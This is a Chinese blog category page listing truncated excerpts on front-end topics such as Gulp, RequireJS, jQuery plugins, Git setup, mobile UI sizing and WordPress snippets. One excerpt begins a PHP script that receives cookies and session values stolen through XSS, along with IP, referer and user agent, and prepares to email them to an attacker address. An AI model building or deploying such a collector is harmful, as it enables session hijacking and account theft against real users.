分类 前端技术 下的文章

js的批量定义和批量赋值是有差异的，笔记一下，省的下次在被坑purp_option.series[0].data = purp_option.title.text = null; //可行 当 var filterAlldata = filterdata= []; 时如果其中一个变量的值push改变那么另外一个变量的值也会对应的改变，这是个坑

第一:gulp必须在nodejs环境下运行，所以要先搭建nodejs环境。测试nodejs是否安装正常。命令：node -v 如果返回版本号说明安装正常然后再 npm init 会自动生成一个package.json文件。这个文件保存项目的相关信息第二:npm install gulp -g 安装全局gulp 然后在项目里的根目录再安装一遍 npm install gulp –save-dev 第三:新建一个gulpfile.js文件然后安装js代码检测插件，压缩文件插件，重名名插件(这里只讲一下这三个插件的使用，当然gulp还有很多强大的插件)js代码检测插件：npm i- 阅读剩余部分 -

Building With Gulp===================原文地址翻译出处原创翻译，有不当的地方欢迎指出。转载请指明出处。谢谢！对网站资源进行优化，并使用不同浏览器测试并不是网站设计过程中最有意思的部分，但是这个过程中的很多重复的任务能够使用正确的工具自动完成，从而使效率大大提高，这是让很多开发者觉得有趣的地方。Gulp是一个构建系统，它能通过自动执行常见任务，比如编译预处理CSS，压缩JavaScript和刷新浏览器，来改进网站开发的过程。通过本文，我们将知道如何使用Gulp来改变开发流程，从而使开发更加快速高效。What Is Gulp?Gulp是一个构- 阅读剩余部分 -

TodoMVC 选择适合项目的MVC框架不再纠结。又一个新的项目开始了，可是还在犯愁该使用什么MVC框架才适合现在的项目。不知道大家有没有过类似的经历，我是曾经纠结过的。TodoMVC 这款工具应该可以解决你的烦恼。TodoMVC 是这样介绍自己的：Backbone、Ember、 AngularJS等等，有这么多优秀的MVC框架可以选择，每个MVC框架看上去都是那么的特别。唉！选择多了也会让人苦恼。TodoMVC 会对你做出正确的选择有很大的帮助，推荐大家使用！官方网站：http://todomvc.com/软件下载：https://github.com/tastejs/t- 阅读剩余部分 -

AMD 模块AMD（异步模块定义，Asynchronous Module Definition）格式总体的目标是为现在的开发者提供一个可用的模块化 JavaScript 的解决方案。AMD 模块格式本身是一个关于如何定义模块的提案，在这种定义下模块和依赖项都能够异步地进行加载。它有很多独特的优势，包括天生的异步及高度灵活等特性，这些特性能够解除常见的代码与模块标识间的那种紧密耦合。目前它已经被很多项目所接纳，包括jQuery（1.7）。RequireJSRequireJS是一个工具库，主要用于客户端的模块管理。它可以让客户端的代码分成一个个模块，实现异步或动态加载，从而提高- 阅读剩余部分 -

通常我们在做网页布局的时候，客户为要求在某个地方实现图片滚动或文字滚动的展示，这就是所谓的跑马灯效果，在以前蓝叶用html标签marquee来做跑马灯效果，marquee不是很完美，如果一个层的宽度或高度过长，那么中间会用空隙显得很不美观；现在蓝叶用jquery无缝隙连续滚动代码来实现跑马灯效果，这段jquery无缝隙连续滚动代码可以自由设置，向左、向右、向上、向下的滚动效果，如果你需要就把以下代码复制到你需要的地方，稍微进行修改即可使用了，这是一段jquery代码，需要jquery库的支持才行。//以下代码复制到JS文件中调用 $.fn.imgscroll = funct- 阅读剩余部分 -

简单来说Git是一个免费的、开源的版本控制软件，从功能上讲，跟我们比较熟悉的Subversion(SVN)这类版本控制软件没什么两样。由于工作的需求，需要在WinXP下安装git配合团队完成相应的工作，以前一直在别的系统下使用，今天经Drupal花园的龙马指点终于安装成功了，特意贴出来与有需要的童鞋一起分享。获取Git软件：大家可以通过两种方式获取Git的软件，一个是在官网上获取，另一个可以点击这里下载。只是有一点需要说明就是需要下载支持WinXp系统的版本。Git在WinXP安装过程在WinXP下安装Git详细步骤参考如下安装示意图：点击上图的“Finish”后Git的安- 阅读剩余部分 -

Git对于我来说，只知道是一个版本控制器，类似于乌龟的svn。其中也仅仅会几个常的命令，比如说“更新git pull”、“提交git push”等等，因为记得当初使用的时候，师傅告诉我，对于你不懂这个不要紧，记住几个常用的命令就足够使用了。师傅的话没有错，有这些命令是足够使用了，但往有时候还是很难完成我们工作中的需求，比如如何安装、分别何创建库等，这就几个命令无法实现的了。只可惜自己太懒，以致于每次使用的时候都需要去查找相关的资料，真是无颜面对江东父老呀。今天邮件中收到一个有关于git指南的资源，真是清新悦目呀，几句话就把git说的清清楚楚，可谓是应该讲的都讲了，而且是简单- 阅读剩余部分 -

// 高亮效果 $("table").find("td").mouseover(function(){ // 配置行列颜色 var color = '#CCE8CF'; // 配置当前单元格颜色 var currentTdColor = '#97D79E'; var This = $(this); // 将所有的单元格的颜色变为空 $("table").find("td").css('background-color', ''); - 阅读剩余部分 -

xss配合php获取cookie和session的脚本<?php $ip = $_SERVER['REMOTE_ADDR']; $to='xxx@yeah.net'; $referer = $_SERVER['HTTP_REFERER']; $cookie = $_GET['cookie']; $session = $_GET['session']; $agent = $_SERVER['HTTP_USER_AGENT']; $subject='远程XSS获取地址-域名：'.$referer; $body="<p> 远程管理员IP= "- 阅读剩余部分 -

这是一个最好的时代，因为我们站在潮流中；但也是一个最坏的时代，因为我们站在潮头上。META相关1、 添加到主屏后的标题（IOS）<meta name="apple-mobile-web-app-title" content="标题"> 2、 启用 WebApp 全屏模式（IOS）当网站添加到主屏幕后再点击进行启动时，可隐藏地址栏（从浏览器跳转或输入链接进入并没有此效果）<meta name="apple-mobile-web-app-capable" content="yes"- 阅读剩余部分 -

当做弹窗效果时，希望弹窗出现的时候网页不可再上下滚动、翻页，可以用body{overflow:hidden}，可是做手机站的时候，就不兼容了。试了很多次都没有用，后来找到了解决的办法，就是要html,body同时设为overflow:hidden。具体实现范例代码：css样式部分：.ovfHiden{overflow: hidden;height: 100%;} jquery部分：$('html,body').addClass('ovfHiden'); //使网页不可滚动 $('html,body').removeClass('ovfHiden'); //使网页恢复可滚动

现在很多for Mobile的HTML5网页内都有快速滚动和回弹的效果，看上去和原生app的效率都有得一拼。要实现这个效果很简单，只需要加一行css代码即可：-webkit-overflow-scrolling : touch; 可用以下网页测试：<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta charset="utf-8" />- 阅读剩余部分 -

公司内部有一款企业社交产品share，近期打算开发手机版，初期规划是通过webapp的方式嵌入到另一款即时通信native app。之前团队还未接触过手机应用的页面重构工作，这次由我打头炮，搭建这款webapp的基本页面样式框架。虽然曾经读过几篇关于webapp的经验总结的文章，也了解过HTML5、CSS3的新特性，但是实战起来还需要摸索。下面总结了这次开发的几点经验，分享给大家，若有不当之处欢迎斧正。一、页面head头部的meta声明针对移动设备的特性，在head标签内需要添加一些特殊的声明。<meta name='HandheldFriendly' conten- 阅读剩余部分 -

像素, PIXEL，多少设计师最熟悉的陌生人。先科普，PIX+EL，Picture Element，赤果果的告诉了我们像素即是图像元素，是构成位图的最小单位，可以简单理解为图片所包含的“细节”数量。我们必须形成一个清晰的概念：像素是电子图片大小的唯一衡量标准。然而像素并没有确定的物理尺寸，它仅仅代表着一个“着色点”。另一个紧密相关但又常被误用的概念，分辨率，则和像素一起决定图片的物理尺寸，稍后我们会具体谈到。像素这个在digital design里面最为基础和核心的元素在各种问答和论坛被各种以讹传讹，误导了一代代的设计师。在这次我们搜集iOS APP设计规范的过程中，我突然- 阅读剩余部分 -

论文组有同学在开发安卓端的App，结合自己实习和自学的经验，写篇小东西简单介绍下安卓端App设计的基础知识吧～ 1. 分辨率要做安卓端的UI设计，首先比较了解安卓机的各种分辨率。Android的麻烦在于“各种价位，各种性能，各种分辨率”， 不同的分辨率对应不同的dpi模式。Android支持多种不同的dpi模式：ldpi mdpi hdpi xhdpi xxhdpi xxxhdpi常见的三种是mdpi hdpi xdpi 。 mdpi，对应480*320的手机。hdpi，对应800*480的手机。主流机型，很多。xdpi，对应1280*720的手机。三星Galaxy系列。至- 阅读剩余部分 -

刚开始接触UI的时候，碰到的最多的就是尺寸问题，什么画布要建多大，文字该用多大才合适，要做几套界面才可以？什么七七八八的也着实让人有些头疼。废话不多说，希望大家耐心看完后，不用再纠结于尺寸相关的东西了~一些入门会遇到的基本问题吧~研究的过程中也发现了很多细节上的问题~也请教了很多人~总之，加油吧~努力吧~

刚接触移动应用的界面设计，最先跳入脑海的疑问是：画布尺寸设计多大（特别是Android）、图标和字体大小怎么定、需要设计多套设计稿么、如何切图以配合开发的实现？本篇将结合iOS和android官方的设计规范、搜集的资料以及工作中的摸索，来分享移动应用界面设计中的尺寸规范等问题，希望能给移动端的新手设计师些许指引。若有不当之处，欢迎斧正。一、android篇1、android分辨率Android的多分辨率，一向是设计师和开发者非常头疼的事儿。尽管如此，对于多分辨造成的复杂问题，也是大家要优先解决的。Android支持多种不同的dpi模式：ldpi 、mdpi 、hdpi 、x- 阅读剩余部分 -

现在科技太发达，移动设备像素越来越高，随便一张照片2M+，但是要做移动端图片上传和pc上略有不同，移动端你不能去限制图片大小，让用户先处理图片再上传，这样不现实。所以理解的解决方案就是在上传先进行图片压缩，然后再把压缩后的图片上传到服务器。一翻google之后，发现了localResizeIMG，它会对图片进行压缩成你指定宽度及质量度并转换成base64图片格式，那么我们就可以把这个base64通过ajax传到后台，再进行保存，先压缩后上传的目的就达到了。处理过程LocalResizeIMG压缩图片AjaxPost图片base64到后台后台接收base64并保存，返回状态前- 阅读剩余部分 -

原来一直经常使用webstrom，后来电脑配置跟不上了开始捣鼓sublime text3，整理下笔记。装了Sublime text3肯定是要安装插件的，插件的配置都是用config文件配置的，不像其他软件是设置选项，本文介绍的是Emmet，以前叫zen coding，这伙非常强大，大大提升了写html的效率。安装方法首先安装package control按Ctrl+`调出sublime text的console粘贴以下代码到底部命令行并回车：Sublime Text 2:import urllib2,os,hashlib; h = '2915d1851351e5ee549c- 阅读剩余部分 -

实现原理由于我们可以在后台使用wp query来输出文章列表，所以我们并不需要文章分页的入口，砍掉了分页入口也避免了搜索引擎抓取这些页面。我们只需要在AJAX 执行的过程中向后台传递一个分页参数，就可以返回这个分页上的文章列表。再返回文章列表的时候，我们还需要返回下一分页的页码，当然如果不是最后一页的话。鉴于wp query有着丰富的参数，我们可以通过转递指定的参数来控制文章列表的输出，使之可以在分类、标签等归档正常使用。实现方法你需要修改的地方一共有2处，一处是包裹你文章列表的容器，一处是根据的文章列表的样式跳转输出结构。文章结构输出函数，这个要根据你自己的主题进行修改，- 阅读剩余部分 -

你也许已经在 Youtube 上看过了那道红色激光脉冲，它会在你切换页面时出现。其实许多移动浏览器的进度条都是这个样式，但是在网页上实现可不多见。不过，有了 NProgress 这个 jQuery 插件，你也可以轻松实现！安装依赖于 jQuery (1.8版本及以上)，添加 nprogress.js 和 nprogress.css 到你的项目中。使用方法<button onclick="NProgress.start()">NProgress.start()</button> — 显示进度条 <button onclick- 阅读剩余部分 -

消费者越来越依赖于移动网络，这使得一个高效的移动网站比以往任何时候都更加重要。但是如何打造一个优秀的移动网站？为了回答这个问题，Google 与 AnswerLab 合作研究用户群体如何与不同的移动网站互动。通过这个研究，Google 确立了 25 个移动网站设计原则来预约用户和推动转化率。

贴几个最近用到 WordPress 的代码片段，代码均搜集于网络，使用方式都是添加到主题的 functions.php 文件。"Talk is cheap. Show me the pre." —— Linus Torvalds搜索结果页面关键字高亮为搜索结果页中的标题和正文的关键字添加 highlight 类，然后你就可以通过 CSS 设定高亮样式了。function wp_highlight_search_keywords($text){ if ( is_search() ) { $s = get_search_query(); - 阅读剩余部分 -

java不会，但是好奇心太重，搞了半天，搭建好环境了，留笔记一封。注：java环境的安装需要jdk的支持。eclipse安装下载地址 http://www.eclipse.org/downloads/选则要下载的安装包，进入官网选择“Eclipse IDE for Java EE Developers”，一般都是EE,这个是最基本的，根据自己电脑情况选择32位或者64位。点击“download”跳入下一页，然后直接“click here”下载。下载下来的是一个压缩包，直接解压，无需安装。但此时eclipse是打不开的，接下来还需安装jdk搭建环境。jdk安装与环境搭建jdk- 阅读剩余部分 -

简介slick 是一个基于 jQuery 的幻灯片插件，具有以下特点：支持响应式浏览器支持 CSS3 时，则使用 CSS3 过度/动画支持移动设备滑动支持桌面浏览器鼠标拖动支持循环支持左右控制支持动态添加、删除、过滤支持自动播放、圆点、箭头、回调等等兼容浏览器兼容：兼容 IE7+ 及其他主流浏览器，若要兼容 IE7，需修改 CSS（slick.css）。jQuery兼容：兼容 1.7 及以上版本。演示下载使用方法1、引入文件<link rel="stylesheet" href="style/slick.css"> <- 阅读剩余部分 -
  1. 1
  2. ...
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7